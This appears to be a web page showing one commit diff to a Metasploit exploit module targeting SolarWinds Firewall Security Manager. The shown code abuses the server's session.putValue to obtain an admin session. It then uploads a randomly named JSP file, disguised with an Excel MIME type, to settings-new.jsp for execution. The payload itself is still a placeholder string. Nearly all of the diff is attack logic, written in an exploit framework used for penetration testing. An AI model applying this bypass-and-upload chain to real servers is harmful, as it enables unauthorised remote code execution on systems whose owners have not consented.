infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

This should be on the right track

bug/bundler_fix
sinn3r 2015-04-01 01:27:50 -05:00
parent 6795c90eac
commit 8ad07cdc0f
1 changed files with 10 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
modules/exploits/windows/http/solarwinds_fsm_userlogin.rb
View File

@ -83,8 +83,8 @@ class Metasploit3 < Msf::Exploit::Remote
sid = put_session_value('admin') sid = put_session_value('admin')
print_status("Your SID is: #{sid}") print_status("Your SID is: #{sid}")
filename = "test.jsp" filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
malicious_file = '' malicious_file = get_jsp_payload
print_status("Uploading file: #{filename}") print_status("Uploading file: #{filename}")
upload_exec(sid, filename, malicious_file) upload_exec(sid, filename, malicious_file)
end end
@ -93,6 +93,12 @@ class Metasploit3 < Msf::Exploit::Remote
private private
# Returns a JSP payload
def get_jsp_payload
'evil inside'
end
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue # Creates an arbitrary username by abusing the server's unsafe use of session.putValue
def put_session_value(value) def put_session_value(value)
res = send_request_cgi( res = send_request_cgi(
@ -134,14 +140,14 @@ class Metasploit3 < Msf::Exploit::Remote
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\ # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
def upload_file(sid, filename, malicious_file) def upload_file(sid, filename, malicious_file)
mime_data = Rex::MIME::Message.new mime_data = Rex::MIME::Message.new
mime_data.add_part(malicious_file, nil, nil, "name=\"file\"; filename=\"#{filename}\"") mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
mime_data.add_part('uploadFile', nil, nil, 'name="action"') mime_data.add_part('uploadFile', nil, nil, 'name="action"')
proto = ssl ? 'https' : 'http' proto = ssl ? 'https' : 'http'
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}" ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
send_request_cgi( send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'), 'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
'method' => 'POST', 'method' => 'POST',
'vars_get' => { 'action' => 'uploadFile' }, 'vars_get' => { 'action' => 'uploadFile' },
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}", 'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",